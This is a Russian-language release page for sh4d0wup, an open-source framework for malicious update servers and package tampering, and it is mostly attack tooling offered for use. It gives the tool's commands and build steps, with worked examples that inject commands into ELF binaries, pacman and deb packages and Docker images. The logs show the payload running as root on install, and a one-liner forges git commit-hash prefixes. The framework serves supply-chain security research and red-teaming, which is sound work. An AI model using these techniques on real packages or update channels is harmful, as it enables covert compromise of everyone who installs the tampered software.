Назад к обновлениям
New releaseAug 4, 2026

sh4d0wup v0.11.1

Злоупотребление ключами подписи и фреймворк эксплуатации обновлений

Поделиться

sh4d0wup

% docker run -it --rm ghcr.io/kpcyrd/sh4d0wup:edge -h
Usage: sh4d0wup [OPTIONS] <COMMAND>

Commands:
  bait         Start a malicious update server
  front        Bind a http/https server but forward everything unmodified
  infect       High level tampering, inject additional commands into a package
  tamper       Low level tampering, patch a package database to add malicious packages, cause updates or influence dependency resolution
  keygen       Generate signing keys with the given parameters
  sign         Use signing keys to generate signatures
  hsm          Interact with hardware signing keys
  build        Compile an attack based on a plot
  check        Check if the plot can still execute correctly against the configured image
  req          Emulate a http request to test routing and selectors
  completions  Generate shell completions
  help         Print this message or the help of the given subcommand(s)

Options:
  -v, --verbose...  Increase logging output (can be used multiple times)
  -q, --quiet...    Reduce logging output (can be used multiple times)
  -h, --help        Print help information
  -V, --version     Print version information

👻 Что такое теневые обновления?

Вы когда-нибудь задумывались, что загружаемое вами обновление — это то же самое, что получают все остальные, или вам досталось другое, созданное специально для вас? Теневые обновления — это обновления, которые официально не существуют, но имеют действительные подписи и будут приняты клиентами как подлинные. Это может произойти, если ключ подписи скомпрометирован хакерами или если инженер релиза с легитимным доступом идёт на криминал.

sh4d0wup — это вредоносный http/https-сервер обновлений, который действует как обратный прокси перед легитимным сервером и может заражать и подписывать различные форматы артефактов. Атаки настраиваются с помощью plot (сценариев), которые описывают, как работает маршрутизация http-запросов, как исправляются/генерируются артефакты, как они должны быть подписаны и каким ключом. У маршрута могут быть selectors (селекторы), чтобы он срабатывал, только если, например, user-agent соответствует шаблону или клиент подключается с определённого IP-адреса. Для разработки и тестирования можно сгенерировать фиктивные ключи/сертификаты подписи и пометить их как доверенные.

🏗️ Сборка исполняемого файла sh4d0wup

Готовый бинарник доступен в официальном репозитории Arch Linux [extra]. Чтобы собрать бинарник из исходников в системе на основе Debian, используйте следующее (проверено на ubuntu 22.04):

apt-get install curl git build-essential clang pkg-config libssl-dev libzstd-dev libpcsclite-dev liblzma-dev
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y
source "$HOME/.cargo/env"
git clone https://github.com/kpcyrd/sh4d0wup
cd sh4d0wup
cargo build --release

sudo cp ./target/release/sh4d0wup /usr/bin
sh4d0wup --help

📦 Компиляция plot

Некоторые сценарии (plot) готовить сложнее, чем другие; чтобы избежать долгого запуска из-за загрузок и исправления артефактов, можно собрать plot заранее. Это также позволяет создать подписи заранее.

sh4d0wup build ./contrib/plot-hello-world.yaml -o ./plot.tar.zst

🦝 Запуск plot

Эта команда запускает вредоносный http-сервер обновлений согласно сценарию. Также можно передавать yaml-файлы, но они могут запускаться дольше.

sh4d0wup bait -B 0.0.0.0:1337 ./plot.tar.zst

Примеры можно найти здесь:

🪄 Заражение артефакта

sh4d0wup infect elf

% sh4d0wup infect elf /usr/bin/sh4d0wup -c id a.out
[2022-12-19T23:50:52Z INFO  sh4d0wup::infect::elf] Spawning C compiler...
[2022-12-19T23:50:52Z INFO  sh4d0wup::infect::elf] Generating source code...
[2022-12-19T23:50:57Z INFO  sh4d0wup::infect::elf] Waiting for compile to finish...
[2022-12-19T23:51:01Z INFO  sh4d0wup::infect::elf] Successfully generated binary
% ./a.out help
uid=1000(user) gid=1000(user) groups=1000(user),212(rebuilderd),973(docker),998(wheel)
Usage: a.out [OPTIONS] <COMMAND>

Commands:
  bait         Start a malicious update server
  infect       High level tampering, inject additional commands into a package
  tamper       Low level tampering, patch a package database to add malicious packages, cause updates or influence dependency resolution
  keygen       Generate signing keys with the given parameters
  sign         Use signing keys to generate signatures
  hsm          Interact with hardware signing keys
  build        Compile an attack based on a plot
  check        Check if the plot can still execute correctly against the configured image
  completions  Generate shell completions
  help         Print this message or the help of the given subcommand(s)

Options:
  -v, --verbose...  Turn debugging information on
  -h, --help        Print help information

sh4d0wup infect pacman

% sh4d0wup infect pacman --set 'pkgver=0.2.0-2' /var/cache/pacman/pkg/sh4d0wup-0.2.0-1-x86_64.pkg.tar.zst -c id sh4d0wup-0.2.0-2-x86_64.pkg.tar.zst
[2022-12-09T16:08:11Z INFO  sh4d0wup::infect::pacman] This package has no install hook, adding one from scratch...
% sudo pacman -U sh4d0wup-0.2.0-2-x86_64.pkg.tar.zst
loading packages...
resolving dependencies...
looking for conflicting packages...

Packages (1) sh4d0wup-0.2.0-2

Total Installed Size:  13.36 MiB
Net Upgrade Size:       0.00 MiB

:: Proceed with installation? [Y/n]
(1/1) checking keys in keyring                                         [#######################################] 100%
(1/1) checking package integrity                                       [#######################################] 100%
(1/1) loading package files                                            [#######################################] 100%
(1/1) checking for file conflicts                                      [#######################################] 100%
(1/1) checking available disk space                                    [#######################################] 100%
:: Processing package changes...
(1/1) upgrading sh4d0wup                                               [#######################################] 100%
uid=0(root) gid=0(root) groups=0(root)
:: Running post-transaction hooks...
(1/2) Arming ConditionNeedsUpdate...
(2/2) Notifying arch-audit-gtk

sh4d0wup infect deb

% sh4d0wup infect deb /var/cache/apt/archives/apt_2.2.4_amd64.deb -c id ./apt_2.2.4-1_amd64.deb --set Version=2.2.4-1
[2022-12-09T16:28:02Z INFO  sh4d0wup::infect::deb] Patching "control.tar.xz"
% sudo apt install ./apt_2.2.4-1_amd64.deb
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
Note, selecting 'apt' instead of './apt_2.2.4-1_amd64.deb'
Suggested packages:
  apt-doc aptitude | synaptic | wajig dpkg-dev gnupg | gnupg2 | gnupg1 powermgmt-base
Recommended packages:
  ca-certificates
The following packages will be upgraded:
  apt
1 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 0 B/1491 kB of archives.
After this operation, 0 B of additional disk space will be used.
Get:1 /apt_2.2.4-1_amd64.deb apt amd64 2.2.4-1 [1491 kB]
debconf: delaying package configuration, since apt-utils is not installed
(Reading database ... 6661 files and directories currently installed.)
Preparing to unpack /apt_2.2.4-1_amd64.deb ...
Unpacking apt (2.2.4-1) over (2.2.4) ...
Setting up apt (2.2.4-1) ...
uid=0(root) gid=0(root) groups=0(root)
Processing triggers for libc-bin (2.31-13+deb11u5) ...

sh4d0wup infect oci

% docker pull alpine:edge
% docker save alpine:edge > alpine-edge.tar
% sh4d0wup infect oci alpine-edge.tar infected.tar -c id -t infected:latest
[2022-12-12T00:31:17Z INFO  sh4d0wup::infect::oci] Original image is referencing config "121d0da757518198deeb7d1df20aaae549834f8bc77195bbf5be1900c0144cff.json": LayerConfig { config: Some(Config { user: Some(""), exposed_ports: None, env: Some(["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"]), entrypoint: None, cmd: Some(["/bin/sh"]), volumes: None, working_dir: Some(""), labels: None, stop_signal: None }), rootfs: Some(RootFs { type: "layers", diff_ids: ["sha256:2f7048230bc73ff091490aa5764f9c160d1a4efe04935da731a22e8d5fcccfcc"] }), extra: {"container_config": Object {"AttachStderr": Bool(false), "AttachStdin": Bool(false), "AttachStdout": Bool(false), "Cmd": Array [String("/bin/sh"), String("-c"), String("#(nop) "), String("CMD [\"/bin/sh\"]")], "Domainname": String(""), "Entrypoint": Null, "Env": Array [String("PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin")], "Hostname": String("457781b778a4"), "Image": String("sha256:28d4c3ce9341a318d475e64365e47a34d5b9ba6c670bed35ce90b2402296ead6"), "Labels": Object {}, "OnBuild": Null, "OpenStdin": Bool(false), "StdinOnce": Bool(false), "Tty": Bool(false), "User": String(""), "Volumes": Null, "WorkingDir": String("")}, "architecture": String("amd64"), "created": String("2022-11-10T20:19:29.043621251Z"), "history": Array [Object {"created": String("2022-11-10T20:19:28.834390785Z"), "created_by": String("/bin/sh -c #(nop) ADD file:51c4407dc777648e8ebc8e124b05feb1807699ade513b6006a9a409f6b0f6f51 in / ")}, Object {"created": String("2022-11-10T20:19:29.043621251Z"), "created_by": String("/bin/sh -c #(nop)  CMD [\"/bin/sh\"]"), "empty_layer": Bool(true)}], "os": String("linux"), "docker_version": String("20.10.12"), "container": String("457781b778a449c9eac455ca1a18300a4041cb2b0d2d3f979460d19d7632ebf7")} }
[2022-12-12T00:31:17Z INFO  sh4d0wup::infect::oci] Creating new layer in image: "patched"
[2022-12-12T00:31:17Z INFO  sh4d0wup::infect::oci] Generating filesystem layer for payload: "id"
[2022-12-12T00:31:17Z INFO  sh4d0wup::infect::oci] Updating tags of image to ["infected:latest"]
[2022-12-12T00:31:17Z INFO  sh4d0wup::infect::oci] Writing modified manifest...
% docker load -i infected.tar
Loaded image: infected:latest
% docker run -it infected echo hello world
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
hello world

Перебор частичных коллизий git-коммитов

Вот короткая однострочная команда, которая берёт последний коммит из git-репозитория, отправляет его на удалённый компьютер с установленным sh4d0wup для его изменения до тех пор, пока идентификатор коммита не будет начинаться с указанного --collision-prefix, а затем вставляет новый коммит обратно в репозиторий на вашем локальном компьютере:

% git cat-file commit HEAD | ssh lots-o-time nice sh4d0wup tamper git-commit --stdin --collision-prefix 7777 --strip-header | git hash-object -w -t commit --stdin

Это может занять некоторое время, в итоге будет показан идентификатор коммита, который можно использовать для создания новой ветки:

git show 777754fde8...
git branch some-name 777754fde8...

Категории